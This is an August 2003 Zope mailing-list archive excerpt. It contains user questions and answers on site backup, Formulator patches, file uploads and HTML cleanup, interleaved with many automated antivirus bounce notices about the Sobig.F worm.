automatic message from LGC's email scanning system. A message was received from you with a subject of Re: Approved The message was addressed to . The message contains file attachments that are not permitted. You may want to consult your system administator on how to deal with this message. ******************************************************************* This email and any attachments are confidential. Any use, copying or disclosure other than by the intended recipient is unauthorised. If you have received this message in error, please notify the sender immediately via +44(0)20 8943 7000 or notify postmaster@lgc.co.uk and delete this message and any copies from your computer and network. LGC Limited. Registered in England 2991879. Registered office: Queens Road, Teddington, Middlesex, TW11 0LY, UK From root at pt23-qms-01.ptn.no Tue Aug 19 13:16:11 2003 From: root at pt23-qms-01.ptn.no (System Anti-Virus Administrator) Date: Tue Aug 19 08:16:15 2003 Subject: [Zope] Disallowed attachment type found in sent message "Re: Re: My details" Message-ID: Attention: zope@zope.org A Disallowed attachment type was found in an Email message you sent. This Email scanner intercepted it and stopped the entire message reaching its destination. The Disallowed attachment type was reported to be: PIF files not allowed per Company security policy Please contact your I.T support personnel with any queries regarding this policy. Your message was sent with the following envelope: MAIL FROM: zope@zope.org RCPT TO: info@shipping-publ.no ... and with the following headers: --- MAILFROM: zope@zope.org Received: from unknown (HELO PCKJEMI?OPPL) (62.97.227.98) by 0 with SMTP; 19 Aug 2003 12:16:11 -0000 From: To: Subject: Re: Re: My details Date: Tue, 19 Aug 2003 14:24:49 +0200 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_NextPart_000_014A8649" --- From antiv at univ-lyon1.fr Tue Aug 19 15:14:01 2003 From: antiv at univ-lyon1.fr (antiv@univ-lyon1.fr) Date: Tue Aug 19 08:18:07 2003 Subject: [Zope] =?iso-8859-1?q?Votre_courrier_est_rejet=E9?= Message-ID: <20030819121401.C270C10B980@pop.univ-lyon1.fr> A L E R T E V I R U S Notre antivirus a détecté le VIRUS "W32/Sobig.f@MM" dans votre courrier destiné à : -> presses@enssib.fr Nous refusons de le transmettre. Nous vous conseillons de décontaminer votre poste de travail. Pour votre information, vous trouverez ci-dessous les entetes de votre message Pour des informations sur ce virus et comment l'éliminer: http://vil.nai.com/vil/default.asp Pour des informations sur l'analyseur de courriers http://amavis.org/ V I R U S A L E R T Our viruschecker found the W32/Sobig.f@MM virus(es) in your email to the following recipient(s): -> presses@enssib.fr Delivery of the email was stopped! Now it is on you to check your system for viruses For further information about this virus see: http://vil.nai.com/vil/default.asp For further information about this viruschecker see: http://amavis.org/ For your reference, here are the headers from your email: ------------------------- BEGIN HEADERS ----------------------------- Return-Path: Received: from PCPSHA31 (unknown [147.100.7.81]) by pop.univ-lyon1.fr (Postfix) with ESMTP id 6426210D4AD for ; Tue, 19 Aug 2003 14:13:47 +0200 (CEST) From: To: Subject: Re: Details Date: Tue, 19 Aug 2003 14:15:48 +0200 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_NextPart_000_062BF703" Message-Id: <20030819121347.6426210D4AD@pop.univ-lyon1.fr> -------------------------- END HEADERS ------------------------------ From rmckanry at yahoo.com Tue Aug 19 06:30:19 2003 From: rmckanry at yahoo.com (Rex McKanry) Date: Tue Aug 19 08:30:28 2003 Subject: [Zope] Backup Message-ID: <20030819123019.78857.qmail@web14504.mail.yahoo.com> Hi All, This I think is the last thing I need to do for the school project I'm on. I want to copy or backup the website I created on to a CD for flash drive to put it on a CD to turn it in to the instructor. I've looked for the files and can't seem to find them. I found the Extension folder and have my external methods saved but can't find the actual web pages. Does anyone have any ideas?? The web pages are just off the root when I'm in Zope in a sub-folder. Thanks, All of you have been a great deal of help with this project. I think Zope may have won me over from asp. Rex __________________________________ Do you Yahoo!? Yahoo! SiteBuilder - Free, easy-to-use web site design software http://sitebuilder.yahoo.com From sdrees at sdrees.de Tue Aug 19 15:34:39 2003 From: sdrees at sdrees.de (Stefan Drees) Date: Tue Aug 19 08:34:44 2003 Subject: [Zope] Backup In-Reply-To: <20030819123019.78857.qmail@web14504.mail.yahoo.com> References: <20030819123019.78857.qmail@web14504.mail.yahoo.com> Message-ID: <20030819123439.GA29011@knoten.biz> On Tue, Aug 19, 2003 at 05:30:19AM -0700 - a wonderful day - Rex McKanry wrote: > ... > Extension folder and have my external methods saved > but can't find the actual web pages. Does anyone have > any ideas?? The web pages are just off the root when > I'm in Zope in a sub-folder. ... probably inside var/Data.fs ;) All the best, Stefan Drees. -- Stefan Drees, sdrees@python.net, www.sdrees.biz Fingerprint = 516C C4EF 712A B26F 15C9 C7B7 5651 6964 D508 1B56 From jean at upfrontsystems.co.za Tue Aug 19 15:51:46 2003 From: jean at upfrontsystems.co.za (Jean Jordaan) Date: Tue Aug 19 08:52:34 2003 Subject: [Zope] Re: PATCH (was Formulator acts funny for 2-character options) In-Reply-To: References: Message-ID: <3F421D62.2050005@upfrontsystems.co.za> > Sorry, I did not follow this thread up to now but in how far is this patch > necessary for Formulator 1.5.0? It's necessary, but I don't know if the patch command will apply the patch cleanly. A bunch of other things have changed too. But it's simple enough to make the changes by hand. -- Jean Jordaan http://www.upfrontsystems.co.za From tillea at rki.de Tue Aug 19 16:23:49 2003 From: tillea at rki.de (Andreas Tille) Date: Tue Aug 19 09:25:06 2003 Subject: [Zope] Re: PATCH (was Formulator acts funny for 2-character options) In-Reply-To: <3F421D62.2050005@upfrontsystems.co.za> Message-ID: On Tue, 19 Aug 2003, Jean Jordaan wrote: > > Sorry, I did not follow this thread up to now but in how far is this patch > > necessary for Formulator 1.5.0? > > It's necessary, but I don't know if the patch command will > apply the patch cleanly. A bunch of other things have changed > too. But it's simple enough to make the changes by hand. Thanks for the hint. What is the rationale to patch older versions that the latest stable release? Moreover I have to admit that it is a little bit confusing to have http://zope.org/Members/infrae/Formulator (mentioning 1.5.0) and http://zope.org/Members/faassen/Formulator/ (mentioning the complete history up to 1.4.2) Kind regards Andreas. From MAILER-DAEMON at rz.rwth-aachen.de Tue Aug 19 16:20:08 2003 From: MAILER-DAEMON at rz.rwth-aachen.de (MAILER-DAEMON@rz.rwth-aachen.de) Date: Tue Aug 19 09:25:36 2003 Subject: [Zope] Virus found in the message Message-ID: <3F422408.0001ED.03335@medos> Scanner: MailMonitor for SMTP v1.2.2 Problem description: Email data: MessageID: <200308191320.h7JDK1lC010438@relay3.rwth-aachen.de> From: To: Cc: Subject: Re: Re: My details Scanning part [] Scanning part [thank_you.pif] Attachment validity check: passed. Virus identity found: W32/Sobig-F See also: http://www.rz.rwth-aachen.de/infodienste/email/virus.php From MAILER-DAEMON at rz.rwth-aachen.de Tue Aug 19 16:20:08 2003 From: MAILER-DAEMON at rz.rwth-aachen.de (MAILER-DAEMON@rz.rwth-aachen.de) Date: Tue Aug 19 09:25:51 2003 Subject: [Zope] Message modified Message-ID: <3F422408.0001EE.03335@medos> Scanner: MailMonitor for SMTP v1.2.2 Problem description: Email data: MessageID: <200308191320.h7JDK1lC010438@relay3.rwth-aachen.de> From: To: Cc: Subject: Re: Re: My details Scanning part [] Scanning part [thank_you.pif] Attachment validity check: passed. Virus identity found: W32/Sobig-F See also: http://www.rz.rwth-aachen.de/infodienste/email/virus.php From jean at upfrontsystems.co.za Tue Aug 19 16:32:37 2003 From: jean at upfrontsystems.co.za (Jean Jordaan) Date: Tue Aug 19 09:33:27 2003 Subject: [Zope] Re: PATCH (was Formulator acts funny for 2-character options) In-Reply-To: References: Message-ID: <3F4226F5.7030507@upfrontsystems.co.za> > What is the rationale to patch older versions that the latest stable > release? It's not really a rationale, more of an "irrationale" ;) As usual, I'm chasing a deadline on a live system which uses 1.4.1 .. I'll switch to the latest release as soon as I can, but for now I'm on 1.4.1 I'm hoping that by the time I upgrade, Martijn has incorporated my patch or something that suits him better. -- Jean Jordaan http://www.upfrontsystems.co.za From MAILER-DAEMON at smtp-gw.fsdata.se Tue Aug 19 16:36:37 2003 From: MAILER-DAEMON at smtp-gw.fsdata.se (Mail Delivery Subsystem) Date: Tue Aug 19 09:36:52 2003 Subject: [Zope] VIRUS: Your details Message-ID: <200308191336.h7JDab8p000759@smtp-slave2.fsdata.se> ----------------------------------------------------------------------- Detta ?r ett automatiskt meddelande fr?n F S DATA Antivirus Gateway == Sammanfattning == Ett datavirus hittades i e-post skickad till: info@lundegard.se Meddelandet kan inte levereras. == Meddelandeinformation == Fr?n: zope@zope.org Till: info@lundegard.se Rubrik: Your details Msg-ID: h7JDaQ8p032531 Virus: Win32/Sobig.F worm == Resultat == E-postmeddelandet har satts i karant?n. ----------------------------------------------------------------------- This is an automatic message from F S DATA Antivirus Gateway == Summary == A computer virus was detected in your message to: info@lundegard.se The message cannot be delivered. == Message Information == From: zope@zope.org To: info@lundegard.se Subject: Your details Msg-ID: h7JDaQ8p032531 Virus: Win32/Sobig.F worm == Action == The message has been quarantined. ----------------------------------------------------------------------- From tillea at rki.de Tue Aug 19 16:41:20 2003 From: tillea at rki.de (Andreas Tille) Date: Tue Aug 19 09:42:16 2003 Subject: [Zope] Formulator issues Message-ID: Hi, I used http://www.zope.org/Members/beno/HowTo/HowTo/Formulator_With_ZPT as an example how to use Formulator with ZPT. Unfortunately it seems not possible to use ZPT exclusively because a Python Script is necessary to evaluate the input. This is no problem in prinziple but this script does something ugly in case that some input is erroneous: "Use the back button of your browser ..." Well, this is something which conflicts with guidelines of good web design and thus I tried to work around this but failed. I even failed in accessing the input values of the form. My main problem was that I did not found a description of the keys which can be used in the field.get_value() dictionary. The ideal solution would be to get those previousely filled values into the original page template and mark the erronous input in any common way. Any hints how to accomplish this? Kind regards Andreas. From POSTMASTER at OTTO.DE Tue Aug 19 16:48:19 2003 From: POSTMASTER at OTTO.DE (POSTMASTER@OTTO.DE) Date: Tue Aug 19 09:48:27 2003 Subject: [Zope] OTTO INTERNET-MAIL Autoantwort Virus Message-ID: ****** OTTO INTERNET-MAIL Autoantwort Virus ****** ---------------------------------------------------------------------------------- Absender / Sender : zope@zope.org ---------------------------------------------------------------------------------- Betreff / Subject : Re: Wicked screensaver ---------------------------------------------------------------------------------- Empf?nger / Recipient : obi@otto.de ---------------------------------------------------------------------------------- Datum / Date : Tue, 19 Aug 2003 16:11:06 +0200 ---------------------------------------------------------------------------------- Server: SERVER01@OTTO.DE ---------------------------------------------------------------------------------- In der Nachricht mit dem Titel " Re: Wicked screensaver " an obi@otto.de ist ein Virus erkannt worden. Die Nachricht konnte dem Empf?nger nicht zugestellt werden! Die Nachricht wurde gel?scht. ======================== Your message entitled: >> "Re: Wicked screensaver" << to obi@otto.de is infected by a virus!! ======================== Please clean your files or contact your systemadministrator for help From tillea at rki.de Tue Aug 19 16:50:08 2003 From: tillea at rki.de (Andreas Tille) Date: Tue Aug 19 09:51:17 2003 Subject: [Zope] Re: PATCH (was Formulator acts funny for 2-character options) In-Reply-To: <3F4226F5.7030507@upfrontsystems.co.za> Message-ID: On Tue, 19 Aug 2003, Jean Jordaan wrote: > It's not really a rationale, more of an "irrationale" ;) :) > As usual, I'm chasing a deadline on a live system which uses > 1.4.1 .. I'll switch to the latest release as soon as I can, > but for now I'm on 1.4.1 Quite reasonable. Thanks for the clarification Andreas. PS: I just was asking because I builded inofficial Debian packages of 1.5.0. I will ask the official maintainer to include your patch once he will be back from vacation and has time to care for the package. From allison at sumeru.stanford.EDU Tue Aug 19 08:33:43 2003 From: allison at sumeru.stanford.EDU (Dennis Allison) Date: Tue Aug 19 10:33:56 2003 Subject: [Zope] Backup In-Reply-To: <20030819123019.78857.qmail@web14504.mail.yahoo.com> Message-ID: Zope stores its methods in its OODB. The actual bits are in a file called Data.fs. If you instructor is going to view what you did, you'll need to provide a complete working Zope implementation with your stuff, or you'll need to give him access to running system. Were I the instructor, I'd prefer the latter. On Tue, 19 Aug 2003, Rex McKanry wrote: > Hi All, > This I think is the last thing I need to do for the > school project I'm on. I want to copy or backup the > website I created on to a CD for flash drive to put it > on a CD to turn it in to the instructor. I've looked > for the files and can't seem to find them. I found the > Extension folder and have my external methods saved > but can't find the actual web pages. Does anyone have > any ideas?? The web pages are just off the root when > I'm in Zope in a sub-folder. > > Thanks, All of you have been a great deal of help with > this project. I think Zope may have won me over from > asp. > Rex > > __________________________________ > Do you Yahoo!? > Yahoo! SiteBuilder - Free, easy-to-use web site design software > http://sitebuilder.yahoo.com > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > From michael at bleijerveld.nl Tue Aug 19 17:44:31 2003 From: michael at bleijerveld.nl (Michael Bleijerveld) Date: Tue Aug 19 10:44:39 2003 Subject: [Zope] get full pathname file from form Message-ID: <00fa01c36660$677cc6b0$9700000a@MICHAEL> Hi all, I want to upload a file with this form.
To check the size with os.path.getsize(file) I need the filename with the whole path. How can I get this from the form variables ? Regards. Michael From andreas at andreas-jung.com Tue Aug 19 17:51:34 2003 From: andreas at andreas-jung.com (Andreas Jung) Date: Tue Aug 19 10:51:37 2003 Subject: [Zope] get full pathname file from form In-Reply-To: <00fa01c36660$677cc6b0$9700000a@MICHAEL> References: <00fa01c36660$677cc6b0$9700000a@MICHAEL> Message-ID: <2147483647.1061311894@[192.168.0.100]> call len() on the body of the received data. Except MSIE ,you will you receive the filename and not the complete path. -aj --On Dienstag, 19. August 2003 16:44 Uhr +0200 Michael Bleijerveld wrote: > Hi all, > > I want to upload a file with this form. > >
> > NAME="ACTION" > > >
> > To check the size with os.path.getsize(file) I need the filename with the > whole path. > > How can I get this from the form variables ? > > Regards. > > Michael > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) From michael at bleijerveld.nl Tue Aug 19 18:01:08 2003 From: michael at bleijerveld.nl (Michael Bleijerveld) Date: Tue Aug 19 11:01:12 2003 Subject: [Zope] get full pathname file from form References: <00fa01c36660$677cc6b0$9700000a@MICHAEL> <2147483647.1061311894@[192.168.0.100]> Message-ID: <011201c36662$b8bb0bc0$9700000a@MICHAEL> Hi Andreas, This doesn't work for me. When I want to get the filesize of a large file (10 MB or more) I takes a long time to get the result. Therefore I want to use os.path.getsize. Michael ----- Original Message ----- From: "Andreas Jung" To: "Michael Bleijerveld" ; Sent: Tuesday, August 19, 2003 4:51 PM Subject: Re: [Zope] get full pathname file from form > call len() on the body of the received data. Except MSIE ,you will you > receive > the filename and not the complete path. > > -aj > > --On Dienstag, 19. August 2003 16:44 Uhr +0200 Michael Bleijerveld > wrote: > > > Hi all, > > > > I want to upload a file with this form. > > > >
> > > > > NAME="ACTION" > > > > >
> > > > To check the size with os.path.getsize(file) I need the filename with the > > whole path. > > > > How can I get this from the form variables ? > > > > Regards. > > > > Michael > > > > > > > > _______________________________________________ > > Zope maillist - Zope@zope.org > > http://mail.zope.org/mailman/listinfo/zope > > ** No cross posts or HTML encoding! ** > > (Related lists - > > http://mail.zope.org/mailman/listinfo/zope-announce > > http://mail.zope.org/mailman/listinfo/zope-dev ) > > > > From andreas at andreas-jung.com Tue Aug 19 18:05:02 2003 From: andreas at andreas-jung.com (Andreas Jung) Date: Tue Aug 19 11:05:09 2003 Subject: [Zope] get full pathname file from form In-Reply-To: <011201c36662$b8bb0bc0$9700000a@MICHAEL> References: <00fa01c36660$677cc6b0$9700000a@MICHAEL> <2147483647.1061311894@[192.168.0.100]> <011201c36662$b8bb0bc0$9700000a@MICHAEL> Message-ID: <2147483647.1061312702@[192.168.0.100]> len() on a string of 10MB should be done in less than a second. -aj --On Dienstag, 19. August 2003 17:01 Uhr +0200 Michael Bleijerveld wrote: > Hi Andreas, > > This doesn't work for me. When I want to get the filesize of a large file > (10 MB or more) I takes a long time to get the result. > Therefore I want to use os.path.getsize. > > Michael > > ----- Original Message ----- > From: "Andreas Jung" > To: "Michael Bleijerveld" ; > Sent: Tuesday, August 19, 2003 4:51 PM > Subject: Re: [Zope] get full pathname file from form > > >> call len() on the body of the received data. Except MSIE ,you will you >> receive >> the filename and not the complete path. >> >> -aj >> >> --On Dienstag, 19. August 2003 16:44 Uhr +0200 Michael Bleijerveld >> wrote: >> >> > Hi all, >> > >> > I want to upload a file with this form. >> > >> >
>> > >> > > > NAME="ACTION" > >> > >> >
>> > >> > To check the size with os.path.getsize(file) I need the filename with > the >> > whole path. >> > >> > How can I get this from the form variables ? >> > >> > Regards. >> > >> > Michael >> > >> > >> > >> > _______________________________________________ >> > Zope maillist - Zope@zope.org >> > http://mail.zope.org/mailman/listinfo/zope >> > ** No cross posts or HTML encoding! ** >> > (Related lists - >> > http://mail.zope.org/mailman/listinfo/zope-announce >> > http://mail.zope.org/mailman/listinfo/zope-dev ) >> >> >> >> > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) From jens at zope.com Tue Aug 19 12:12:17 2003 From: jens at zope.com (Jens Vagelpohl) Date: Tue Aug 19 11:13:03 2003 Subject: [Zope] get full pathname file from form In-Reply-To: <011201c36662$b8bb0bc0$9700000a@MICHAEL> Message-ID: <85934934-D257-11D7-886E-000393D58818@zope.com> You are confusing things that happen on the client and things that happen on the server. Your server cannot somehow reach back to the client and ask it for the file size. jens On Tuesday, Aug 19, 2003, at 11:01 US/Eastern, Michael Bleijerveld wrote: > Hi Andreas, > > This doesn't work for me. When I want to get the filesize of a large > file > (10 MB or more) I takes a long time to get the result. > Therefore I want to use os.path.getsize. > > Michael > > ----- Original Message ----- > From: "Andreas Jung" > To: "Michael Bleijerveld" ; > Sent: Tuesday, August 19, 2003 4:51 PM > Subject: Re: [Zope] get full pathname file from form > > >> call len() on the body of the received data. Except MSIE ,you will >> you >> receive >> the filename and not the complete path. >> >> -aj >> >> --On Dienstag, 19. August 2003 16:44 Uhr +0200 Michael Bleijerveld >> wrote: >> >>> Hi all, >>> >>> I want to upload a file with this form. >>> >>>
>> ENCTYPE="multipart/form-data"> >>> >>> >> NAME="ACTION" > >>> >>>
>>> >>> To check the size with os.path.getsize(file) I need the filename with > the >>> whole path. >>> >>> How can I get this from the form variables ? >>> >>> Regards. >>> >>> Michael >>> >>> >>> >>> _______________________________________________ >>> Zope maillist - Zope@zope.org >>> http://mail.zope.org/mailman/listinfo/zope >>> ** No cross posts or HTML encoding! ** >>> (Related lists - >>> http://mail.zope.org/mailman/listinfo/zope-announce >>> http://mail.zope.org/mailman/listinfo/zope-dev ) >> >> >> >> > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) From michael at bleijerveld.nl Tue Aug 19 18:16:02 2003 From: michael at bleijerveld.nl (Michael Bleijerveld) Date: Tue Aug 19 11:16:06 2003 Subject: [Zope] get full pathname file from form References: <00fa01c36660$677cc6b0$9700000a@MICHAEL><2147483647.1061311894@[192.168.0.100]><011201c36662$b8bb0bc0$9700000a@MICHAEL> <2147483647.1061312702@[192.168.0.100]> Message-ID: <012401c36664$cda214a0$9700000a@MICHAEL> It's takes more than 40 seconds to check a filesize of a 10 MB file. ----- Original Message ----- From: "Andreas Jung" To: "Michael Bleijerveld" ; Sent: Tuesday, August 19, 2003 5:05 PM Subject: Re: [Zope] get full pathname file from form > len() on a string of 10MB should be done in less than a second. > > -aj > > --On Dienstag, 19. August 2003 17:01 Uhr +0200 Michael Bleijerveld > wrote: > > > Hi Andreas, > > > > This doesn't work for me. When I want to get the filesize of a large file > > (10 MB or more) I takes a long time to get the result. > > Therefore I want to use os.path.getsize. > > > > Michael > > > > ----- Original Message ----- > > From: "Andreas Jung" > > To: "Michael Bleijerveld" ; > > Sent: Tuesday, August 19, 2003 4:51 PM > > Subject: Re: [Zope] get full pathname file from form > > > > > >> call len() on the body of the received data. Except MSIE ,you will you > >> receive > >> the filename and not the complete path. > >> > >> -aj > >> > >> --On Dienstag, 19. August 2003 16:44 Uhr +0200 Michael Bleijerveld > >> wrote: > >> > >> > Hi all, > >> > > >> > I want to upload a file with this form. > >> > > >> >
> >> > > >> > >> > NAME="ACTION" > > >> > > >> >
> >> > > >> > To check the size with os.path.getsize(file) I need the filename with > > the > >> > whole path. > >> > > >> > How can I get this from the form variables ? > >> > > >> > Regards. > >> > > >> > Michael > >> > > >> > > >> > > >> > _______________________________________________ > >> > Zope maillist - Zope@zope.org > >> > http://mail.zope.org/mailman/listinfo/zope > >> > ** No cross posts or HTML encoding! ** > >> > (Related lists - > >> > http://mail.zope.org/mailman/listinfo/zope-announce > >> > http://mail.zope.org/mailman/listinfo/zope-dev ) > >> > >> > >> > >> > > > > > > > > _______________________________________________ > > Zope maillist - Zope@zope.org > > http://mail.zope.org/mailman/listinfo/zope > > ** No cross posts or HTML encoding! ** > > (Related lists - > > http://mail.zope.org/mailman/listinfo/zope-announce > > http://mail.zope.org/mailman/listinfo/zope-dev ) > > > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > From robertjean2 at yahoo.com Tue Aug 19 09:24:22 2003 From: robertjean2 at yahoo.com (Robert Jean) Date: Tue Aug 19 11:24:57 2003 Subject: [Zope] Cleaning HTML for use as ZPT Message-ID: <20030819152422.48416.qmail@web41804.mail.yahoo.com> Hello, I have to import existing HTML pages into Zope and use them as Page Templates. The problem I have is that many or most of these pages are not proper HTML and they are (rightly so) refused by the TAL HTML parser. Do you know of any simple way to clean up the original HTML? I was thinking of HTML Tidy, or something similar, used as a Web service or installed locally. Any idea greatly appreciated. Thanks, Robert __________________________________ Do you Yahoo!? Yahoo! SiteBuilder - Free, easy-to-use web site design software http://sitebuilder.yahoo.com From s902534 at mail.yzu.edu.tw Fri Aug 15 17:26:15 2003 From: s902534 at mail.yzu.edu.tw (=?big5?B?p2Sp+MBz?=) Date: Tue Aug 19 11:25:16 2003 Subject: [Zope] A Question about XMLRPC Message-ID: i am come from taiwan i have a question about XMLRPC i have serched your article in the internet but still can't find the answer i want to call XMLRPC in the javascript ex .. can i type a = 2 , b = 3 and call XMLRPC to acess the answer then return the answer ??? how can i do ??? thx for your read .... -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.zope.org/pipermail/zope/attachments/20030815/39876526/attachment.htm From virus-log at focus.de Tue Aug 19 16:26:32 2003 From: virus-log at focus.de (System Anti-Virus Administrator) Date: Tue Aug 19 11:26:34 2003 Subject: [Zope] Virus found in sent message "Your details" Message-ID: Attention: . A Virus was found in an Email message you sent. This Email scanner intercepted it and stopped the entire message reaching it's destination. The Virus was reported to be: Win32/Sobig.F@mm Please update your virus scanner or contact your I.T support personnel as soon as possible as you have a virus on your system. Your message was sent with the following envelope: MAIL FROM: zope@zope.org RCPT TO: webmaster@focus.de ... and with the following headers: From: To: Subject: Your details Date: Tue, 19 Aug 2003 16:52:15 +0100 The original message is kept in: a.scanner.um:/mail/scanner/tft/quarantine where the System Anti-Virus Administrator can further diagnose it. The Email scanner reported the following when it scanned that message: --- ---ravav results --- RAV AntiVirus command line for Linux i686. Version: 8.3.0. Copyright (c) 1996-2001 GeCAD The Software Company. All rights reserved. Searching for the engine in '/usr/local/rav8/'... Registered version. Scan engine 8.11 for i386. Last update: Tue Aug 19 09:32:18 2003 Scanning for 81518 malwares (viruses, trojans and worms). Scanning with following configuration: * checking all files! * checking inside archive files! * don't check for mail files! * heuristic scanning is activated! * integrity check is enabled! * don't use report file! /mail/s.../a.scanner.um10613053844395984 - OK /mail/s...13053844395984/attachment1.dat - OK /mail/s...0613053844395984/movie0045.pif Infected: Win32/Sobig.F@mm Scan results: Time: 1 second(s). Files/second: 3 Objects scanned: 3. New objects: 3 Infected: 1. Different virus bodies: 1. Files: 3. Directories: 1. Archives: 0. Packed: 0. Mail files: 0. Warnings: 0. --- From MAILER-DAEMON at emfe1.iup.edu Tue Aug 19 11:54:14 2003 From: MAILER-DAEMON at emfe1.iup.edu (MAILER-DAEMON@emfe1.iup.edu) Date: Tue Aug 19 11:36:15 2003 Subject: [Zope] Undeliverable mail: Re: Wicked screensaver Message-ID: Failed to deliver to '' Virus(es) found. your_details.pif is infected with W32/Sobig.f@MM Viruses: 1 Trojans: 0 Jokes: 0 Tests: 0 Captured by McAfee antivirus plugin running on CommuniGate Pro mail server -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/rfc822-headers Size: 581 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030819/81b2c160/attachment.bin From pw_lists at slinkp.com Tue Aug 19 12:35:37 2003 From: pw_lists at slinkp.com (Paul Winkler) Date: Tue Aug 19 11:37:34 2003 Subject: [Zope] Backup In-Reply-To: References: <20030819123019.78857.qmail@web14504.mail.yahoo.com> Message-ID: <20030819153537.GA1057@slinkp.com> On Tue, Aug 19, 2003 at 07:33:43AM -0700, Dennis Allison wrote: > Zope stores its methods in its OODB. The actual bits are in a file > called Data.fs. If you instructor is going to view what you did, > you'll need to provide a complete working Zope implementation with > your stuff, or you'll need to give him access to running system. > Were I the instructor, I'd prefer the latter. Another option, if your site is (from the user's POV) just static stuff without functionality like search or whatever... make a static mirror of the site. On unix, I've had good results with wget using these options: wget -r -l7 -p -nH -nc -np -k -E http:// Read the man page to learn what those all do. You won't end up with an exact link-for-link mirror (some things will be renamed and some pages will be represented with directories) but the result should be very browseable. For this to work well, you want to be *very* wary of using using relative links in page framework stuff like standard_html_header etc. They can lead easily to redundant copies of images & pages, and the "infinite growing URL" problem which you can read about in the mailing list archives. Best solution is liberal use of the absolute_url method. The -l7 option to wget stops it from trying to download infinitely (it limits the recursion to 7 levels in this case). > On Tue, 19 Aug 2003, Rex McKanry wrote: > > > Hi All, > > This I think is the last thing I need to do for the > > school project I'm on. I want to copy or backup the > > website I created on to a CD for flash drive to put it > > on a CD to turn it in to the instructor. I've looked > > for the files and can't seem to find them. I found the > > Extension folder and have my external methods saved > > but can't find the actual web pages. Does anyone have > > any ideas?? The web pages are just off the root when > > I'm in Zope in a sub-folder. > > > > Thanks, All of you have been a great deal of help with > > this project. I think Zope may have won me over from > > asp. > > Rex > > > > __________________________________ > > Do you Yahoo!? > > Yahoo! SiteBuilder - Free, easy-to-use web site design software > > http://sitebuilder.yahoo.com > > > > _______________________________________________ > > Zope maillist - Zope@zope.org > > http://mail.zope.org/mailman/listinfo/zope > > ** No cross posts or HTML encoding! ** > > (Related lists - > > http://mail.zope.org/mailman/listinfo/zope-announce > > http://mail.zope.org/mailman/listinfo/zope-dev ) > > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) -- Paul Winkler http://www.slinkp.com Look! Up in the sky! It's THE RANDOM SALT SHAKER! (random hero from isometric.spaceninja.com) From pw_lists at slinkp.com Tue Aug 19 12:37:10 2003 From: pw_lists at slinkp.com (Paul Winkler) Date: Tue Aug 19 11:39:04 2003 Subject: [Zope] get full pathname file from form In-Reply-To: <011201c36662$b8bb0bc0$9700000a@MICHAEL> References: <00fa01c36660$677cc6b0$9700000a@MICHAEL> <2147483647.1061311894@[192.168.0.100]> <011201c36662$b8bb0bc0$9700000a@MICHAEL> Message-ID: <20030819153710.GB1057@slinkp.com> On Tue, Aug 19, 2003 at 05:01:08PM +0200, Michael Bleijerveld wrote: > Hi Andreas, > > This doesn't work for me. When I want to get the filesize of a large file > (10 MB or more) I takes a long time to get the result. > Therefore I want to use os.path.getsize. can't possibly work on the server. You don't have access to the file on the client side, you only have access to the uploaded data, which is not on the filesystem. -- Paul Winkler http://www.slinkp.com Look! Up in the sky! It's GIGA GILDED ALLOY FRED! (random hero from isometric.spaceninja.com) From MAILER-DAEMON at emfe1.iup.edu Tue Aug 19 12:00:09 2003 From: MAILER-DAEMON at emfe1.iup.edu (MAILER-DAEMON@emfe1.iup.edu) Date: Tue Aug 19 11:41:24 2003 Subject: [Zope] Undeliverable mail: Your details Message-ID: Failed to deliver to '' Virus(es) found. thank_you.pif is infected with W32/Sobig.f@MM Viruses: 1 Trojans: 0 Jokes: 0 Tests: 0 Captured by McAfee antivirus plugin running on CommuniGate Pro mail server -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/rfc822-headers Size: 568 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030819/163f0a5a/attachment.bin From postmaster at mail.sk1.am.poznan.pl Tue Aug 19 18:26:27 2003 From: postmaster at mail.sk1.am.poznan.pl (postmaster@mail.sk1.am.poznan.pl) Date: Tue Aug 19 11:42:12 2003 Subject: [Zope] VIRUS IN YOUR MAIL Message-ID: <200308191526.h7JFQRBW042148@mail.sk1.am.poznan.pl> V I R U S A L E R T Our viruschecker found the Worm.Sobig.F Worm.Sobig.F virus(es) in your email to the following recipient(s): -> Please check your system for viruses, or ask your system administrator to do so. For your reference, here are the headers from your email: ------------------------- BEGIN HEADERS ----------------------------- From: To: Subject: Re: Approved Date: Tue, 19 Aug 2003 17:28:24 +0200 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MSMail-Priority: Normal X-Priority: 3 